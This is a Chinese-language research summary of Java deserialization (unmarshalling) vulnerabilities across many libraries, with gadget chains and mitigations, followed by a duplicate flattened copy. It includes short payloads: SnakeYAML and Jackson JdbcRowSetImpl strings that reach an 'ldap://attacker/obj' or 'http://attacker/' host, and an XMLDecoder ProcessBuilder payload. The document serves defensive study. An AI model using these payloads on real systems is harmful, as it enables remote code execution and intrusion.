Java Unmarshaller Security (将您的数据转化为代码执行)
字数 3129 2025-08-26 22:11:51

Java Unmarshaller 安全研究:从数据到代码执行

1. 概述

Java unmarshalling(反序列化)安全漏洞是近年来Java生态系统中影响范围最广的远程代码执行漏洞之一。本文详细分析了各种Java marshalling(序列化)组件库中存在的安全风险,揭示了通过unmarshalling执行攻击者恶意代码的各种技术手段。

2. 基本概念

2.1 Marshalling与Unmarshalling

  • Marshalling:将Java内部表示转换为可存储、传输的格式
  • Unmarshalling:将存储/传输的格式转换回Java对象图(树)

2.2 主要交互方式

  1. 基于Bean属性的marshallers

    • 通过getter和setter方法访问对象属性
    • 遵循JavaBean约定
    • 攻击面更大,因为会调用setter方法
  2. 基于字段的marshallers

    • 直接访问对象字段
    • 攻击面较小,但会直接影响对象内部结构
    • 可能绕过安全检查直接修改私有字段

3. 受影响的Marshalling组件库

3.1 基于Bean属性的marshallers

3.1.1 SnakeYAML

  • 允许公有构造函数和公有属性
  • 可通过攻击者提供的数据调用任意构造函数
  • 漏洞利用示例:
    !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/"]]]]
    
    !!com.sun.rowset.JdbcRowSetImpl 
    dataSourceName: ldap://attacker/obj 
    autoCommit: true
    
  • 修复措施:使用SafeConstructor或实现自定义Constructor白名单

3.1.2 jYAML

  • 需要public构造函数和相应getter方法
  • 漏洞利用示例:
    foo: !com.sun.rowset.JdbcRowSetImpl 
    dataSourceName: ldap://attacker/obj 
    autoCommit: true
    

3.1.3 YamlBeans

  • 仅允许配置或注释过的构造函数
  • 需要默认构造函数和相应getter方法
  • 漏洞利用示例:
    !com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 
    userOverridesAsString: HexAsciiSerializedMap:<payload>
    

3.1.4 Apache Flex BlazeDS

  • 需要public默认构造函数和public setters
  • 支持java.io.Externalizable类型
  • 修复措施:使用DeserializationValidator实现类型白名单

3.1.5 Red5 IO AMF

  • 需要默认public构造器和public setters
  • 支持自定义标记接口的外部化类型

3.1.6 Jackson

  • 默认配置安全,但启用多态unmarshalling时存在风险
  • 漏洞利用示例:
    ["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName": "ldap://attacker/obj", "autoCommit": true}]
    
  • 修复措施:显式使用@JsonTypeInfo和JsonTypeInfo.Id.NAME

3.1.7 Castor

  • 需要public默认构造器
  • 属性设置顺序固定,限制了部分攻击

3.1.8 Java XMLDecoder

  • 高度危险,允许任意方法调用和构造函数调用
  • 漏洞利用示例:
    <new class="java.lang.ProcessBuilder">
      <string>/usr/bin/gedit</string>
      <method name="start"/>
    </new>
    
  • 修复措施:永远不要信任输入数据

3.2 基于字段的marshallers

3.2.1 Java Serialization

  • 经典的Java反序列化漏洞
  • 大量已知gadgets(如Commons Collections、Spring Beans、Groovy)
  • 修复措施:Java 8u121引入类型过滤机制

3.2.2 Kryo

  • 默认需要public默认构造函数
  • 使用StdInstantiatorStrategy时可利用更多gadgets
  • 修复措施:要求注册所有使用类型

3.2.3 Hessian/Burlap

  • 默认使用sun.misc.Unsafe进行无副作用实例化
  • 漏洞利用示例:SpringCompAdv、ROME、XBean、Resin
  • 修复措施:4.0.51版本通过ClassFactory实现白名单

3.2.4 json-io

  • 尝试调用任意构造函数
  • 支持"暴力构造"和"两阶段重建"
  • 漏洞利用示例:LazySearchEnum、SpringBFAdv、Groovy

3.2.5 XStream

  • 高度危险,类似Java序列化
  • 漏洞利用示例:ImageIO、BindingEnum、ServiceLoader
  • 修复措施:通过TypePermission实现类型过滤

4. 常见攻击载荷(Gadgets/Payloads)

4.1 通用技术

  1. XalanTemplatesImpl

    • 通过字节码直接定义和初始化类
    • 触发方法:newTransformer()、getOutputProperties()
  2. JNDI引用

    • 通过JNDI/RMI或LDAP加载远程代码
    • 触发方法:InitialContext->lookup()

4.2 具体Gadgets

4.2.1 com.sun.rowset.JdbcRowSetImpl

  • 通过JNDI注入实现RCE
  • 需要顺序设置dataSourceName和autoCommit属性
  • 适用组件:SnakeYAML、jYAML、Red5、Jackson

4.2.2 java.util.ServiceLoader$LazyIterator

  • 通过URLClassLoader加载远程服务
  • 适用组件:Kryo、XStream

4.2.3 com.sun.jndi.rmi.registry.BindingEnum

  • 触发JNDI/RMI查找
  • 适用组件:Kryo、XStream

4.2.4 javax.imageio.ImageIO$ContainsFilter

  • 通过反射Method实例执行代码
  • 适用组件:Kryo、XStream

4.2.5 C3P0 JndiRefForwardingDataSource

  • 通过JNDI注入实现RCE
  • 适用组件:SnakeYAML、jYAML、Jackson

4.2.6 Spring BeansPropertyPathFactoryBean

  • 通过Spring JNDI查找实现RCE
  • 适用组件:SnakeYAML、BlazeDS、Jackson

4.2.7 Groovy Expando/MethodClosure

  • 通过Groovy执行系统命令
  • 适用组件:Kryo、json-io

4.2.8 sun.rmi.server.UnicastRef

  • 通过RMI DGC实现Java反序列化绕过
  • 适用组件:BlazeDS、json-io

5. 扩展攻击面

5.1 Marshalling Getter调用

  • 基于属性的marshallers会调用所有getter方法
  • 可能触发意外行为:
    • TemplatesImpl的getOutputProperties()
    • JdbcRowSetImpl的getDatabaseMetaData()
    • SignedObject的getObject()

5.2 Java"重新"序列化

  • Servlet容器会话持久化时的序列化/反序列化
  • 可能触发初始化代码(如afterPropertiesSet())

6. 防御措施总结

  1. 类型限制

    • 实现严格的白名单机制
    • 从根类型开始进行完全的类型检查
  2. 多态处理

    • 限制多态unmarshalling
    • 使用明确的类型标识(如Jackson的Id.NAME)
  3. 组件特定措施

    • 使用安全构造函数(如SnakeYAML的SafeConstructor)
    • 启用类型注册(如Kryo)
    • 实现验证器(如BlazeDS的DeserializationValidator)
  4. 架构设计

    • 避免unmarshalling未知类型
    • 使用不包含逻辑的简单数据对象
    • 考虑模块化技术限制类路径

7. 结论

Java unmarshalling安全问题根源在于允许攻击者控制的对象类型被恢复并执行。根本解决方案是严格限制可unmarshalling的类型,通过白名单、运行时类型检查或多态类型注册实现安全与功能的平衡。开发人员应充分了解所用技术的安全特性,避免便利性优先于安全性的设计决策。

Java Unmarshaller 安全研究:从数据到代码执行 1. 概述 Java unmarshalling(反序列化)安全漏洞是近年来Java生态系统中影响范围最广的远程代码执行漏洞之一。本文详细分析了各种Java marshalling(序列化)组件库中存在的安全风险,揭示了通过unmarshalling执行攻击者恶意代码的各种技术手段。 2. 基本概念 2.1 Marshalling与Unmarshalling Marshalling :将Java内部表示转换为可存储、传输的格式 Unmarshalling :将存储/传输的格式转换回Java对象图(树) 2.2 主要交互方式 基于Bean属性的marshallers : 通过getter和setter方法访问对象属性 遵循JavaBean约定 攻击面更大,因为会调用setter方法 基于字段的marshallers : 直接访问对象字段 攻击面较小,但会直接影响对象内部结构 可能绕过安全检查直接修改私有字段 3. 受影响的Marshalling组件库 3.1 基于Bean属性的marshallers 3.1.1 SnakeYAML 允许公有构造函数和公有属性 可通过攻击者提供的数据调用任意构造函数 漏洞利用示例: 修复措施 :使用SafeConstructor或实现自定义Constructor白名单 3.1.2 jYAML 需要public构造函数和相应getter方法 漏洞利用示例: 3.1.3 YamlBeans 仅允许配置或注释过的构造函数 需要默认构造函数和相应getter方法 漏洞利用示例: 3.1.4 Apache Flex BlazeDS 需要public默认构造函数和public setters 支持java.io.Externalizable类型 修复措施 :使用DeserializationValidator实现类型白名单 3.1.5 Red5 IO AMF 需要默认public构造器和public setters 支持自定义标记接口的外部化类型 3.1.6 Jackson 默认配置安全,但启用多态unmarshalling时存在风险 漏洞利用示例: 修复措施 :显式使用@JsonTypeInfo和JsonTypeInfo.Id.NAME 3.1.7 Castor 需要public默认构造器 属性设置顺序固定,限制了部分攻击 3.1.8 Java XMLDecoder 高度危险,允许任意方法调用和构造函数调用 漏洞利用示例: 修复措施 :永远不要信任输入数据 3.2 基于字段的marshallers 3.2.1 Java Serialization 经典的Java反序列化漏洞 大量已知gadgets(如Commons Collections、Spring Beans、Groovy) 修复措施 :Java 8u121引入类型过滤机制 3.2.2 Kryo 默认需要public默认构造函数 使用StdInstantiatorStrategy时可利用更多gadgets 修复措施 :要求注册所有使用类型 3.2.3 Hessian/Burlap 默认使用sun.misc.Unsafe进行无副作用实例化 漏洞利用示例:SpringCompAdv、ROME、XBean、Resin 修复措施 :4.0.51版本通过ClassFactory实现白名单 3.2.4 json-io 尝试调用任意构造函数 支持"暴力构造"和"两阶段重建" 漏洞利用示例:LazySearchEnum、SpringBFAdv、Groovy 3.2.5 XStream 高度危险,类似Java序列化 漏洞利用示例:ImageIO、BindingEnum、ServiceLoader 修复措施 :通过TypePermission实现类型过滤 4. 常见攻击载荷(Gadgets/Payloads) 4.1 通用技术 XalanTemplatesImpl : 通过字节码直接定义和初始化类 触发方法:newTransformer()、getOutputProperties() JNDI引用 : 通过JNDI/RMI或LDAP加载远程代码 触发方法:InitialContext->lookup() 4.2 具体Gadgets 4.2.1 com.sun.rowset.JdbcRowSetImpl 通过JNDI注入实现RCE 需要顺序设置dataSourceName和autoCommit属性 适用组件:SnakeYAML、jYAML、Red5、Jackson 4.2.2 java.util.ServiceLoader$LazyIterator 通过URLClassLoader加载远程服务 适用组件:Kryo、XStream 4.2.3 com.sun.jndi.rmi.registry.BindingEnum 触发JNDI/RMI查找 适用组件:Kryo、XStream 4.2.4 javax.imageio.ImageIO$ContainsFilter 通过反射Method实例执行代码 适用组件:Kryo、XStream 4.2.5 C3P0 JndiRefForwardingDataSource 通过JNDI注入实现RCE 适用组件:SnakeYAML、jYAML、Jackson 4.2.6 Spring BeansPropertyPathFactoryBean 通过Spring JNDI查找实现RCE 适用组件:SnakeYAML、BlazeDS、Jackson 4.2.7 Groovy Expando/MethodClosure 通过Groovy执行系统命令 适用组件:Kryo、json-io 4.2.8 sun.rmi.server.UnicastRef 通过RMI DGC实现Java反序列化绕过 适用组件:BlazeDS、json-io 5. 扩展攻击面 5.1 Marshalling Getter调用 基于属性的marshallers会调用所有getter方法 可能触发意外行为: TemplatesImpl的getOutputProperties() JdbcRowSetImpl的getDatabaseMetaData() SignedObject的getObject() 5.2 Java"重新"序列化 Servlet容器会话持久化时的序列化/反序列化 可能触发初始化代码(如afterPropertiesSet()) 6. 防御措施总结 类型限制 : 实现严格的白名单机制 从根类型开始进行完全的类型检查 多态处理 : 限制多态unmarshalling 使用明确的类型标识(如Jackson的Id.NAME) 组件特定措施 : 使用安全构造函数(如SnakeYAML的SafeConstructor) 启用类型注册(如Kryo) 实现验证器(如BlazeDS的DeserializationValidator) 架构设计 : 避免unmarshalling未知类型 使用不包含逻辑的简单数据对象 考虑模块化技术限制类路径 7. 结论 Java unmarshalling安全问题根源在于允许攻击者控制的对象类型被恢复并执行。根本解决方案是严格限制可unmarshalling的类型,通过白名单、运行时类型检查或多态类型注册实现安全与功能的平衡。开发人员应充分了解所用技术的安全特性,避免便利性优先于安全性的设计决策。